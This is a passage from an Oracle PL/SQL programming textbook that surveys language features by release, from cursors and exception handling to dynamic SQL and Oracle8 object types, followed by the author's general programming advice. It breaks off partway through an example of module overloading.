A full range of functions that manipulate numbers, including trigonometric, logarithmic, and exponential functions

Conversion functions

Functions that convert from one datatype to another, often formatting the output data at the same time

1.4.3.6 Built-in packages

In addition to the built-in functions, each release of PL/SQL offers built-in packages, which bundle together related programs. These packages will prove to be invaluable in your development efforts; they are summarized in Appendix C, Built-In Packages. Here are some examples of built-in packages available with PL/SQL Release 2.0:

DBMS_OUTPUT

Displays information to the screen; useful for debugging PL/SQL scripts.

DBMS_PIPE

Communicates between Oracle sessions via "pipes." Oracle Corporation uses this package to parallelize their database, and you can use it to parallelize your own programs.

DBMS_LOCK

Requests and manages programmer-defined locks.

You would, for example, use the PUT_LINE procedure in the DBMS_OUTPUT package to display information to your screen (or, in the case of the World Wide Web, to your home page):

DBMS_OUTPUT.PUT_LINE ('Option selected is ' || option_desc);

1.4.3.7 Control structures

PL/SQL provides procedural extensions to SQL to implement the following types of control structures:

  • Conditional control via IF statements

  • Iterative control via loops, including FOR, WHILE, and simple loops

  • Sequential control via GOTO and NULL statements

The following variations of conditional control constructs are available: IF-END IF, IF-ELSE-END IF, and IF-ELSIF-ELSE-END IF. However, PL/SQL does not support a CASE structure. All variations of the conditional structures end with an END IF statement. The result of this is a highly structured block orientation. Here is an example of an IF-ELSIF-ELSE statement:

IF average_salary < 10000
THEN
   bonus := 2000;

ELSIF average_salary BETWEEN 10000 AND 20000
THEN
   bonus := 1000;

ELSE
   bonus := 500;

END IF;

PL/SQL supports a number of different types of loops:

  • WHILE loops

  • FOR loops (numeric and cursor)

  • Infinite or "simple" loops

These constructs allow you to execute the same code repeatedly. You can nest loops within loops. All loops end with an END LOOP statement, which results in a highly structured block orientation for your loops. Here is an example of a WHILE loop which, in turn, contains a FOR loop:

WHILE still_searching
LOOP
   FOR month_index IN 1 .. 12
   LOOP
      calculate_profits (month_index);
   END LOOP;
END LOOP;

PL/SQL Version 2.0 also supports the GOTO statement and the NULL statement. GOTO transfers control from one executable statement to any other statement in the current program body. You can specify the NULL statement if you want to "do nothing" -- and, believe it or not, there are a number of times when that is all you want to do! This example illustrates both statements:

IF rooms_available = 0
THEN
   GOTO no_rooms;
ELSE
   reserve_a_room;
END IF;

<<no_rooms>>
NULL;

1.4.3.8 Cursor-based access to the database

One of the most important features of PL/SQL is the ability to handle data one row at a time. SQL is a set-at-a-time database language. You cannot selectively examine or modify a single row from a SELECT statement's result set. With PL/SQL Version 2.0's cursors, however, you can attain much finer control over manipulation of information from the database. Cursors in PL/SQL can be opened, fetched from, and closed. You can use the cursor FOR loop to access all the records in a cursor quickly and easily. PL/SQL Version 1.1 also provides a useful set of cursor attributes to let you determine the current status of a cursor.

The following example declares the cursor based on a SELECT statement (along with a record to hold the information fetched from the cursor), then opens, fetches from, and closes the cursor. Before opening the cursor, the code checks the cursor attribute %ISOPEN to see if it is already open:

DECLARE
   CURSOR extinction_cur IS
      SELECT species_name, last_sighting
        FROM rainforest
       WHERE year = 1994
         AND number_species_left = 0;
   extinction_rec extinction_cur%ROWTYPE;

   expedition_leader VARCHAR2(100);
BEGIN
   /* Only open the cursor if it is not already open. */
   IF NOT extinction_cur%ISOPEN
   THEN
      OPEN extinction_cur;
   END IF;

   /* Fetch the next record. */
   FETCH extinction_cur INTO extinction_rec;

   /* Execute statements based on record contents. */
   IF extinction_rec.last_sighting = 'BRAZIL'
   THEN
      expedition_leader := 'RAMOS';

   ELSIF extinction_rec.last_sighting = 'BACKYARD'
   THEN
      expedition_leader := 'FEUERSTEIN';
   END IF;

   /* Close the cursor. */
   CLOSE extinction_cur;
END;

1.4.3.9 Error handling

PL/SQL Version 2.0 traps and responds to errors, called exceptions, using an event-driven model. When an error occurs, an exception is raised. The normal processing in your program halts, and control is transferred to the separate exception handling section of your program (if it exists).

The exception handler mechanism allows you to cleanly separate your error-processing code from your executable statements. It provides an event-driven model, as opposed to a linear code model, for processing errors. In other words, no matter how a particular exception is raised, it is handled by the same exception handler in the exception section.

The following PL/SQL block attempts to select information from the employee and includes an exception handler for the case in which no data is found:

DECLARE
   soc_sec_number NUMBER;
BEGIN
   SELECT social_security#
     INTO soc_sec_number
     FROM employee
    WHERE last_name = 'FEUERSTEIN';
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      INSERT INTO employee
         (last_name, first_name,
          social_security#, hire_date, department_id)
      VALUES
         ('FEUERSTEIN', 'STEVEN', '123456789', SYSDATE, 10);
END;

In other words, if I am not already an employee in the company, the SELECT statement fails and control is transferred to the exception section (which starts with the keyword EXCEPTION). PL/SQL matches up the exception raised with the exception in the WHEN clause (NO_DATA_FOUND is a named, internal exception that represents ORA-01403-no data found). It then executes the statements in that exception handler, so I am promptly inserted into the employee table.

1.4.3.10 Modular construction

The ability to create modules ("black boxes") which can call each other is central to any successful programming language. Modularization of code allows you to break down complex operations into smaller, more comprehensible steps. You can then combine ("plug and play") your different modules together as building blocks.

PL/SQL is itself a block-oriented language: all code is organized into one or more blocks demarked by BEGIN and END statements. These blocks provide a high degree of structure to PL/SQL-based programs, making it easier to both develop and maintain the code. PL/SQL Version 2.0 offers both unnamed blocks (also called anonymous blocks) and named blocks. There are two types of named blocks: procedures and functions. A procedure is a sequence of executable statements that performs a particular action. A function is a block that returns a value. Here are two examples of modules:

PROCEDURE display_emp_status (status_code_in IN VARCHAR2)
/* Display a message depending on the status code supplied as a parameter. */
IS
BEGIN
   IF status_code_in = 'O'
   THEN
      DBMS_OUTPUT.PUT_LINE ('Status is Open.');
   ELSE
      DBMS_OUTPUT.PUT_LINE ('Status is Closed.');
   END IF;
END;
FUNCTION total_compensation
   (salary_in IN NUMBER, commission_in IN NUMBER) RETURN NUMBER
/*
|| Calculate and return total compensation. If commission is NULL
|| then add zero to salary.
*/
IS
BEGIN
   RETURN salary_in + NVL (commission_in, 0);
END;

Procedures and functions are commonly found in programming languages. But PL/SQL goes beyond this level of modularization to also offer a construct called the package. A package is a collection of objects, including modules and other constructs, such as cursors, variables, exceptions, and records.

The package is probably the single most important and powerful addition to the PL/SQL language. With packages, PL/SQL Version 2.0 supports object-oriented design and concepts such as information hiding, encapsulation, and reusability. With packages, you can decide which code is publicly available to programmers and which code should be hidden. In addition, you can implement global variables, data structures, and values, which persist for the entire duration of a user session.

1.4.3.11 Stored procedures, functions, and packages

In combination with the expanded data dictionary of Oracle Server Version 7, you can store your modules (procedures and functions) and packages inside the database itself. These stored modules -- usually referred to simply as stored procedures -- can then be executed by any Oracle session that has access to the modules. With stored procedures, PL/SQL now also supports remote procedure calls; a program on one server or client workstation can run programs stored on different servers, connected by SQL*Net.

With the advent of stored procedures, the Oracle RDBMS becomes a repository not only for data, but for program code itself. A shared area of memory, the Shared Global Area (SGA), caches compiled PL/SQL programs and supplies those objects to the PL/SQL runtime engine when needed by an Oracle session. The database manages dependencies between code and database structures and will automatically recompile invalid modules.

Stored packages also can offer improved performance because all programs in a package are loaded into memory at the same time.

1.4.4 PL/SQL Release 2.1

PL/SQL Release 2.1 is the release of Version 2 that comes with Version 7.1 of the Oracle Server. It supports all the features listed for PL/SQL Release 2.0 and also adds the new capabilities described in the following sections.

1.4.4.1 Stored functions in SQL

The single most important enhancement in Release 2.1 is the ability to call stored functions (written in PL/SQL) from within a SQL statement. You can call stored functions anywhere in a SQL statement where an expression is allowed -- in the SELECT, WHERE, START WITH, GROUP BY, HAVING, ORDER BY, SET, and VALUES clauses. (Stored procedures, on the other hand, are in and of themselves PL/SQL executable statements; they cannot be embedded in a SQL statement.) You can use one of your own functions just as you would a built-in SQL function, such as TO_DATE, SUBSTR, or LENGTH.

The following SELECT statement calls the total_compensation function defined earlier in this chapter. This saves you from having to code the calculation explicitly:

SELECT last_name, total_compensation (salary, commission)
  FROM employee
 ORDER BY total_compensation (salary, commission) DESC;

The ability to place PL/SQL functions inside SQL is a very powerful enhancement to the Oracle development environment. With these functions you can:

  • Consolidate business rule logic into a smaller number of well-tuned and easily maintained functions. You do not have to repeat this logic across individual SQL statements and PL/SQL programs.

  • Improve the performance of your SQL statements. SQL is a nonprocedural language, yet application requirements often demand procedural logic in your SQL. The SQL language is robust enough to let you get at the answer, but in many situations it is a very inefficient way to get that answer. Embedded PL/SQL can do the job much more quickly.

  • Simplify your SQL statements. All the reasons you have to modularize your PL/SQL code apply to SQL as well -- particularly the need to hide complicated expressions and logic behind a function specification. From the DECODE statement to nested, correlated sub-SELECTs, the readability of many SQL statements will benefit from programmer-defined functions.

1.4.4.2 Support for DDL and dynamic SQL

One of the packages provided with Oracle Server Release 7.1 is the DBMS_SQL package. The modules in this package allow you to execute dynamic SQL DDL and DML statements. A SQL statement is dynamic when it is not parsed and bound at compile time. Instead, the statement itself is constructed at runtime and then is passed to the SQL engine for processing.

Dynamic SQL, particularly with DDL statements, offers many possibilities. The following procedure provides a programmatic interface to drop any kind of object from the data dictionary:

PROCEDURE drop_object
   (object_type_in IN VARCHAR2, object_name_in IN VARCHAR2)
IS
   cursor_id INTEGER;
BEGIN
   /*
   || Open a cursor which will handle the dynamic SQL statement.
   || The function returns the pointer to that cursor.
   */
   cursor_id := DBMS_SQL.OPEN_CURSOR;
   /*
   || Parse and execute the drop command which is formed through
   || concatenation of the arguments.
   */
   DBMS_SQL.PARSE
     (cursor_id,
      'DROP ' || object_type_in || ' ' || object_name_in,
      DBMS_SQL.NATIVE);

   /* Close the cursor. */
   DBMS_SQL.CLOSE_CURSOR (cursor_id);
EXCEPTION
   /* If any problem arises, also make sure the cursor is closed. */
   WHEN OTHERS
   THEN
      DBMS_SQL.CLOSE_CURSOR (cursor_id);
END;

I can now drop the employee table or the total_compensation function by executing the following calls to drop_object:

drop_object ('table', 'employee');

drop_object ('function', 'total_compensation');

1.4.4.3 Entry-level ANSI SQL92 support

PL/SQL Release 2.1 lets you reference column aliases in the ORDER BY clause of a DML statement. You can also use the AS keyword to define aliases in the SELECT clause of a query. In other words, you can now write a cursor in the following way:

DECLARE
   CURSOR profit_cur IS
      SELECT company_id, SUM (revenue) - SUM (cost) net_profit
        FROM fin_performance
       ORDER BY net_profit DESC;
BEGIN

In the past, you would have had to repeat the difference of SUMs in the ORDER BY clause or simply write ORDER BY 2.

1.4.4.4 Programmer-defined subtypes

In addition to the subtypes provided by PL/SQL itself, PL/SQL Release 2.1 lets you create your own subtypes of native datatypes. Programmer-defined subtypes improve the readability and maintainability of your code. Here is an example of a definition of a subtype:

SUBTYPE primary_key_type IS NATURAL;

In this case, I create a datatype called primary_key_type of type NATURAL. Now, when I declare a variable with this type, it must be a nonzero, positive integer.

In Release 2.1, these subtypes must be unconstrained -- you cannot define a subtype as VARCHAR2(30), only as VARCHAR2.

1.4.5 PL/SQL Release 2.2

PL/SQL Release 2.2 is the release of Version 2 that comes with Version 7.2 of the Oracle Server. It supports all of the features previously listed in this chapter and also adds the new capabilities described in the following sections.

1.4.5.1 The PL/SQL wrapper

The PL/SQL wrapper is a standalone utility that transforms PL/SQL source code into portable binary, object code. "Wrapped" or encrypted PL/SQL source code hides the internals of your application. With Release 2.2, you can distribute software without having to worry about exposing your proprietary algorithms and methods to competitors. The PL/SQL compiler automatically recognizes and loads wrapped PL/SQL program units.

1.4.5.2 Cursor variables

Prior to PL/SQL Release 2.2, you could only declare and manipulate "static" cursors -- cursors that are bound at design time to a specific query and a specific cursor name. With Release 2.2, you can now declare a cursor variable and open it for any compatible query. Most importantly, you can pass and receive cursor variables as arguments to modules. Cursor variables offer tremendous new flexibility in centralizing and controlling the SQL statements in your applications.

In Release 2.2, cursor variables may only appear where PL/SQL code is embedded in a host language environment, such as the precompilers and the OCI layer. While you can OPEN a cursor with a cursor variable in your PL/SQL block, you cannot yet FETCH from that cursor. Cursor variables are made fully available within PL/SQL programs in Release 2.3, described later in this chapter.

1.4.5.3 Job scheduling with DBMS_ JOB

With PL/SQL Release 2.2, Oracle Corporation offers DBMS_ JOB, a new package that allows you to schedule jobs within the database itself. Oracle uses DBMS_JOB to manage its snapshot facility. You can use it to run jobs on a regular basis. A job can be any valid PL/SQL block of code, from a single SQL statement to a complex series of calls to stored procedures.

1.4.6 PL/SQL Release 2.3

PL/SQL Release 2.3 is the release of Version 2 that comes with Version 7.3 of the Oracle Server. It supports all of the features previously listed in this chapter and also adds the new capabilities described in the following sections.

1.4.6.1 File I/O with the UTL_FILE package

Far and away the most exciting feature of Release 2.3 is the UTL_FILE package. This collection of built-in functions and procedures allows you to read from and write to operating system files from within PL/SQL. This is a capability for which programmers have been clamoring since PL/SQL first became available.

1.4.6.2 Cursor variables for all PL/SQL environments

With Release 2.3, cursor variables (described under Release 2.2) can now be used in any PL/SQL environments, and do not rely on a host language environment. You can OPEN, FETCH from, and CLOSE cursors using standard PL/SQL syntax. In addition, all cursor attributes are now available for use with cursor variables. Release 2.3 also supports a "weak" cursor type which allows you to declare a cursor variable without having to specify its record structure.

1.4.6.3 Expanded PL/SQL table capabilities

Release 2.3 allows you to create PL/SQL tables of records, as opposed to simple scalar values, such as NUMBERs. In addition, it offers a set of operators or built-ins, which provide you with additional, heretofore unavailable, information about the PL/SQL table, including the following:

COUNT

Returns the number of rows defined in the PL/SQL table

LAST

Returns the number of the highest row defined in the PL/SQL table

DELETE

Deletes rows from the table

PL/SQL tables of records are especially useful for representing database tables in memory.

1.4.6.4 Improved remote dependency model

Prior to Release 2.3 (and the underlying Oracle Server Release 7.3), PL/SQL modules that depended on remote objects (stored procedures or tables, for example) would be flagged as invalid whenever the remote object was modified. This module emphasized safety and correctness, but was also unnecessarily restrictive. For example, as long as the call interface of a procedure has not changed (its name and parameters), any program that calls that procedure should not have to be recompiled.

Release 2.3 offers a choice between the original, "timestamp" dependency model and the new, "signature" dependency model. The signature model will only flag a client-side module as invalid (requiring a recompile) if the remote stored procedure has been modified and if the signature or call interface of the program has changed.

1.4.7 PL/SQL Version 8.0

PL/SQL Version 8.0 (PL/SQL8) is the version of PL/SQL that comes with Oracle 8.0, the "object-relational" version of the Oracle database. PL/SQL8 incorporates numerous significant new features and many incremental improvements. PL/SQL8 features are summarized in the following sections and are covered in this book primarily in Part 5. The following overview is not intended to be a comprehensive description of new Oracle8 features; it covers only those aspects of Oracle8 that have an impact on PL/SQL developers.

1.4.7.1 Support for an object-oriented model

When a mainstream vendor like Oracle Corporation ventures into new technology waters, it is virtually certain that the change will be evolutionary rather than revolutionary. True to form, Oracle8's relational capabilities are still the mainstay of Oracle Corporation's flagship database server, and they satisfy the need for compatibility with older Oracle versions. But with the objects option, Oracle8 allows programmers to use a new set of datatypes and models drawn from object programming languages, allowing persistent objects to be created in the database and accessed, via an API, from C++, Smalltalk, Object COBOL, Java, and other languages.

Contrast this "object-relational" database approach with the true "object-oriented databases" (OODBs) that first appeared commercially in the mid-1980s. Most successful in problem domains characterized by complex, often versioned, data (such as engineering, CASE, or CAD), pure OODBs typically extend the type system of object-oriented languages to allow for persistent objects. Oracle8, on the other hand, extends the programming system of the database to allow for operations, and extends conventional datatypes to include complex structures. While these object extensions to SQL and PL/SQL sometimes look as if they were designed simply to confuse the programmer, object types in Oracle8, properly implemented, can be the cornerstone of an overall object strategy.

See Chapter 18, Object Types, for details.

1.4.7.2 Oracle/AQ, the Advanced Queueing Facility

Oracle8 offers an "advanced queuing" facility which implements deferred execution of work. Oracle is positioning Oracle/AQ (Oracle/Advanced Queuing) as an alternative to the queuing mechanisms of teleprocessing monitors and messaging interfaces. Oracle/AQ will also serve as a foundation technology for workflow management applications.

Oracle/AQ is available from within PL/SQL programs through the DBMS_AQ built-in package. This package is described briefly in Appendix C and is covered in detail in Oracle Built-in Packages.

1.4.7.3 Variable arrays and nested tables

Oracle8 introduces two new "collection" structures that will support a wide range of application requirements. These structures are nested tables and variable-size arrays (VARRAYs). As with Oracle8's table datatype, the new structures can be used in PL/SQL programs. But what is dramatically new is the ability to use the new collections as the datatypes of fields in conventional tables and attributes of objects. While not an exhaustive implementation of user-defined datatypes, collections offer rich new physical (and, by extension, logical) design opportunities for Oracle practitioners.

Using a collection, you can actually store a "table within a table." Relational diehards may chafe at the thought, but you can use collections as a way of putting non-first-normal-form data into a table -- entire sets of "detail data" can be squished into a column! No longer do columns need to be "atomic" in order to be retrievable or updateable. Why would you want to do this? Even setting aside theoretical arguments about "natural" data representations, Oracle8 collections provide a dramatic advantage from an application programmer's perspective: you can pass an entire collection between the database and PL/SQL using a single fetch. Under the right circumstances, you can even "pretend" that conventional data is a collection, and realize the same single-call advantages.

See Chapter 19, Nested Tables and VARRAYs, for more information.

1.4.7.4 Object views

As an "object-relational" database, Oracle8 allows both objects and relational tables to coexist. If you wish, you can read and write both objects and relations in the same PL/SQL program. Using "object views," you can even make rows or columns in relational tables look and behave like objects. Object views allow the application programmer to enjoy many of the benefits of objects -- such as efficient access, convenient navigation alternatives, and consistency with new object-based applications -- when working with an underlying database of conventional tables.

Oracle Corporation emphasizes the ability of object views to ease an organization's transition to object-based design and programming. In addition to this benefit, object views also provide a means of evolving object schema designs. Since you can redefine or rebuild object views at any time, a view-based object schema is much more pliable than a table-based object schema. (Oracle 8.0.3 provides virtually no support for modifying table-based object schema.)

As of Oracle 8.0, object views (and conventional views for that matter) can have their own triggers. These "INSTEAD OF" triggers allow you to write PL/SQL code to support insert, update, or delete through almost any view you can dream up.

See Chapter 20, Object Views, for examples and more discussion.

1.4.7.5 External procedures

This long-awaited Oracle feature allows you to call anything that you can compile into the native "shared library" format of the operating system. The external procedures feature is reliable and multi-user. Communication is bidirectional and, importantly, you can use external procedures as user-defined functions in SQL.

Under UNIX, a shared library is a shared object or .so file; under Windows NT, it's a DLL (dynamic linked library). You can write the external routine in any language you wish, as long as your compiler and linker will generate the appropriate shared library format that is callable from C. In Oracle 8.0, however, C will be the most common language for external procedures, since all of Oracle's support libraries are written in C.

See Chapter 21, External Procedures, for further details and examples.

1.4.7.6 Large object support

Oracle8 and PL/SQL8 support several variations of LOB or Large OBject datatypes. LOBs can store large amounts (up to four gigabytes) of raw data, binary data (such as images), or character text data.

Within PL/SQL you can declare LOB variables of the following datatypes:

BFILE

Declares variables which hold a file locator pointing to a large binary object in an operating system file outside the database

BLOB

Declares variables which hold a LOB locator pointing to a large binary object

CLOB

Declares variables which hold a LOB locator pointing to a large block of single-byte, fixed-width character data

NCLOB

Declares variables which hold a LOB locator pointing to a large block of single-byte or fixed-width multibyte character data

There are two types of LOBs in Oracle8: internal and external. Internal LOBs (BLOBs, CLOBs, and NCLOBs) are stored in the database and can participate in transactions in the database server. External LOBs (BFILEs) are large binary data stored in operating system files outside the database tablespaces. External LOBs cannot participate in transactions. You cannot, in other words, commit or roll back changes to a BFILE. Instead, you rely on the underlying filesystem for data integrity.

Chapter 4, and Chapter 13, Numeric, LOB, and Miscellaneous Functions, provide additional details.

1.4.8 PL/SQL Release 1.1

PL/SQL Release 1.1 is only used by the tools in the Oracle Developer/2000 suite: Oracle Forms, Oracle Reports, and Oracle Graphics. Table 1.3 reviews PL/SQL Version 2.0 functionality and indicates any restrictions or special information you will need in order to determine if and how you can make use of those features under Release 1.1.

Table 1.3: PL/SQL Version 1.1 Restrictions
PL/SQL Version 2.0 Feature | Restrictions for Version 1.1
Integration with SQL | You cannot perform distributed DML statements.
Expanded set of datatypes for variables and constants | The BINARY_INTEGER datatype is only available in Version 2.0.
Programmer-defined records | This feature is undocumented in PL/SQL Version 1.1 manuals, but is available.
Built-in functions | The trigonometric, logarithmic, and other "scientific" functions are not implemented.
Built-in packages | You can make use of built-in packages both in the database and in the particular tool. Oracle Forms, for example, offers the OLE package for manipulating OLE2 objects.
Control structures | You have access to all Version 2.0 control structures.
Cursor-based access to the database | You have access to all Version 2.0 cursor features.
Error handling | Exception handling is fully implemented in Release 1.1.
Modular construction | You can build procedures, functions, and packages, but the packages do not offer the same sets of capabilities as those stored in the database.
Stored procedures, functions, and packages | Not available in PL/SQL Release 1.1. Release 1.1 is for client-side application development. The PL/SQL code for these components definitely is not stored in the database.
PL/SQL tables | You cannot declare and use PL/SQL tables in Release 1.1. You can, however, construct stored packages, which serve as interfaces to these data structures, and then call those stored modules from your client application.

Previous: 1.3 The Origins of PL/SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 1.5 Advice for Oracle Programmers
1.3 The Origins of PL/SQL | Book Index | 1.5 Advice for Oracle Programmers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.5 Advice for Oracle Programmers

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

1.5 Advice for Oracle Programmers

This whole book is full of advice about PL/SQL programming, but in this section I offer a few basic principles. These principles guide my own use of PL/SQL and I'd like to encourage you to adopt them as well.

1.5.1 Take a Creative, Even Radical Approach

We all tend to fall into ruts, in almost every aspect of our lives. People are creatures of habit: you learn to write code in one way; you come to assume certain limitations about a product; you turn aside possible solutions without serious examination because you just know it can't be done. Developers become downright prejudiced about their own tools, and often not in positive ways. "It can't run any faster than that; it's a pig." "I can't make it work the way the user wants; that'll have to wait for the next version." "If I were using X or Y or Z product, it would be a breeze. But with this stuff, everything is a struggle."

Sadly (or is it happily?), the reality is that your program could almost always run a little faster. The screen could function just the way the user wants it to. Although each product has its limitations, strengths, and weaknesses, you should never have to wait for the next version. Isn't it so much more satisfying to be able to tell your therapist that you tackled the problem head-on, accepted no excuses, and created a solution?

How do you do this? Break out of the confines of your hardened views and take a fresh look at the world (or maybe just your cubicle). Reassess the programming habits you've developed, particularly regarding fourth-generation language (4GL) development with the Oracle tools. Be creative -- step away from the traditional methods, from the often limited and mechanical approaches constantly reinforced in our places of business.

Try something new: experiment with what may seem to be a radical departure from the norm. You will be surprised at how much you will learn, how you will grow as a programmer and problem-solver. Over the years, I have surprised myself over and over with what is really achievable when I stopped saying "You can't do that!" and instead simply nodded quietly and murmured "Now, if I do it this way..."

1.5.2 Get Ready to Establish New Habits

PL/SQL was initially a way to increase the flexibility of the ANSI-standard SQL, and soon a multi-purpose "Swiss Army Knife" for many of Oracle's tools. Suddenly, developers found they could plop function calls, IF-THEN-ELSE clauses, loops, and even GOTOs right into the midst of their otherwise pristinely declarative screen modules and batch database processing routines.

Did the appearance of PL/SQL instantly transform Oracle-based applications into shining examples for programmers of all faiths? Hardly. Sure, 4GLS are lots more productive than the older software technology: now you can dig yourself into a pretty deep hole with a 4GL much more efficiently than was ever possible with good old FORTRAN.

In fact, for a number of reasons, the level of sophistication of programming in PL/SQL has proven very uneven. While many SQL*Forms developers came out of a 3GL programming environment with a strong history in structured programming and strict guidelines, these principles have been largely forgotten or considered inapplicable in the new 4GL world of SQL and SQL*Forms. What does "structured code" mean when a screen is not composed of lines of code in a file, but rather as a series of pictures and boxes of attributes in the Designer? How do you flowchart a SQL statement?

Many of us left our good programming manners behind when we sauntered into the world of SQL*Forms. It's been hard to return to those habits, especially given some of the limitations of PL/SQL Version 1. On the other hand, many Oracle developers are not seasoned programmers, but relative newcomers who may have little or no formal training in computer sciences and programming. They might, for example, have started out as end users who needed some ad hoc queries and ended up building forms.

The first release of PL/SQL (and the later versions, for that matter) was not intended to be a comprehensive procedural language in the same league as, say, C or COBOL. Officially, it existed only to provide some programming constructs around the SQL language to facilitate batch database procedures. PL/SQL did not interact with the operating system, had no debugger whatsoever, and didn't support the normal 3GL concepts of link libraries and modularized code. As soon as Oracle made PL/SQL available in SQL*Forms Version 3, however, thousands of Oracle developers moved quickly to put it to work in their forms. Suddenly they could code all (well, almost all) the fancy gizmos their users wanted.[2]

[2] And they could do so without committing the most unnatural acts (for example, user exits to provide pop-up windows or SQL*Forms Version 2.3 triggers that called themselves recursively and were impossible to debug).

Damn the torpedoes and full speed ahead! But what about standards? What about modularization? What about reusable code? Such concerns were often ignored as the volume of PL/SQL programming exploded throughout the Oracle community. In their press to meet management expectations of extraordinary productivity, developers did what they needed to do in what little time they had. And few of us had time to take training in PL/SQL, even when it was offered. Few of us had time to think about whether what we wrote could be maintained or enhanced easily. Instead we just coded. And coded. And coded.

When it came time to debug a PL/SQL module, we discovered that there wasn't any debugger in PL/SQL at all, and precious little to work with in SQL*Forms and SQL*Plus. Programmers with backgrounds in established languages like COBOL or FORTRAN or C shook their heads and did what they could. The many people introduced to software development through Oracle software didn't know what they were missing. They just knew that it was very difficult to identify and then repair problems in their code.

PL/SQL has come a long way from its first hesitant offering for the RDBMS in 1990. Developers who have worked with the language since its first release must make sure to adapt to the changing features and potential of PL/SQL.

1.5.3 Assume that PL/SQL Has What You Need

Programmers who are new to PL/SQL often make the mistake of starting their coding efforts before they are sufficiently familiar with everything the language has to offer. I have seen and heard of many instances where a developer spends valuable time writing procedures or functions that duplicate built-in functionality provided by PL/SQL.

Please don't write a function that looks through each character in a string until it finds a match and then returns the index of that match in the string. The INSTR function does this for you. Please don't write a function to convert your string from uppercase to lowercase by performing ASCII code-table shifting. Use the LOWER function instead.

With the PL/SQL of the 1990s, you also have to keep in mind much more than these basic functions. Each new release of the database and the tools include packages that stretch the boundaries of the PL/SQL language itself. These packages extend PL/SQL by providing additional datatypes, functions, and procedures to handle more specialized situations. You can use DBMS_ JOB to schedule processes from the database. You can use DBMS_PIPE to communicate information between different Oracle sessions. The ideas and the list of prebuilt code goes on and on. Take some time to stroll through Part 3, Built-In Functions , and Appendix C, and get familiar with all the features that are built into the PL/SQL language.

1.5.4 Share Your Ideas

Oracle Corporation, along with its flavor of SQL and the PL/SQL language, has been around for close to 15 years. They have listened to user requests, kept up with the standards committees, and generally sought to create a very robust environment for developers and users. As I've said, there is a very good chance that what you need is already available in the language. If so, use it. If not, build it yourself in the most general and reusable way possible. Then share it. Share your ideas and your creations with others in your company, your Oracle User Group, even the worldwide Oracle community through the International Oracle User's Group and User's Week convention.

Previous: 1.4 PL/SQL Versions | Oracle PL/SQL Programming, 2nd Edition | Next: 1.6 A Few of My Favorite (PL/SQL) Things
1.4 PL/SQL Versions | Book Index | 1.6 A Few of My Favorite (PL/SQL) Things
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.6 A Few of My Favorite (PL/SQL) Things

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

1.6 A Few of My Favorite (PL/SQL) Things

PL/SQL is a powerful, many-featured product. This is a lengthy book. I have gone to great lengths to make all the information within the covers highly accessible. Still, I thought it would be helpful to offer a quick review of some of my favorite aspects of the PL/SQL language.

It's all wonderful, of course, and I wouldn't trade PL/SQL for any other programming language in the world. Yet certain features and techniques have stood out for me as ways to improve the efficiency of my code and the productivity of my development effort.

The topics in the following sections offer just enough information to give you a sense of what is possible. Go to the appropriate chapter for detailed information.

1.6.1 Anchored declarations

You can use the %TYPE and %ROWTYPE declaration attributes to anchor the datatype of one variable to that of a previously existing variable or data structure. The anchoring data structure can be a column in a database table, the entire table itself, a programmer-defined record, or a local PL/SQL variable. In the following example, I declare a local variable with the same structure as the company name:

my_company company.name%TYPE;

See Chapter 4 for details.

1.6.2 Built-in functions

PL/SQL offers dozens of built-in functions to help you get your job done with the minimum amount of code and fuss possible. Some of them are straightforward, such as the LENGTH function, which returns the length of the specified string. Others offer subtle variations which will aid you greatly -- but only when you are aware of those variations.

Two of my favorites in this category of hidden talents are SUBSTR and INSTR, both character functions. SUBSTR returns a subportion of a string. INSTR returns the position in a string where a substring is found. Most developers only use these functions to search forward through the strings. By passing a negative starting location, however, SUBSTR will count from the end of the string. And INSTR will actually scan in reverse through the string for the nth occurrence of a substring.

See the chapters in Part 3 for details.

1.6.3 Built-in packages

In addition to the many built-in functions provided by PL/SQL, Oracle Corporation also offers many built-in packages. These packages of functions, procedures, and data structures greatly expand the scope of the PL/SQL language. With each new release of the Oracle Server, we get new packages to improve our own programs.

It is no longer sufficient for a developer to become familiar simply with the basic PL/SQL functions like TO_CHAR, ROUND, and so on. Those functions have now become only the innermost layer of useful functionality. Oracle Corporation has built upon those functions, and you should do the same thing.

See Appendix C for a summary of the Application Programming Interfaces (APIs) of the built-in packages.

1.6.4 The cursor FOR loop

The cursor FOR loop is one of my favorite PL/SQL constructs. It leverages fully the tight and effective integration of the Ada-like programming language with the power of the SQL database language. It reduces the volume of code you need to write to fetch data from a cursor. It greatly lessens the chance of introducing loop errors in your programming -- and loops are one of the more error-prone parts of a program. Does this loop sound too good to be true? Well, it isn't -- it's all true!

See Chapter 7, Loops, for more information.

1.6.5 Scoping with nested blocks

The general advantage of -- and motivation for -- a nested block is that you create a scope for all the declared objects and executable statements in that block. You can use this scope to improve your control over activity in your program, particularly in the area of exception handling.

In the following procedure, I have placed BEGIN and END keywords around a sequence of DELETE statements. This way, if any DELETE statement fails, I trap the exception, ignore the problem, and move on to the next DELETE:

PROCEDURE delete_details
IS
BEGIN
   BEGIN
      DELETE FROM child1 WHERE ...;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;

   BEGIN
      DELETE FROM child2 WHERE ...;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;
END;

I can in this way use my nested blocks to allow my PL/SQL program to continue past exceptions.

See Chapter 15, Procedures and Functions, for details.

1.6.6 Module overloading

Within a package and within the declaration section of a PL/SQL block, you can define more than one module with the same name! The name is, in other words, overloaded. In the following example, I have overloaded the value_ok function in the body of the check package:

PACKAGE BODY check
IS
   /* First version takes a DATE parameter. */
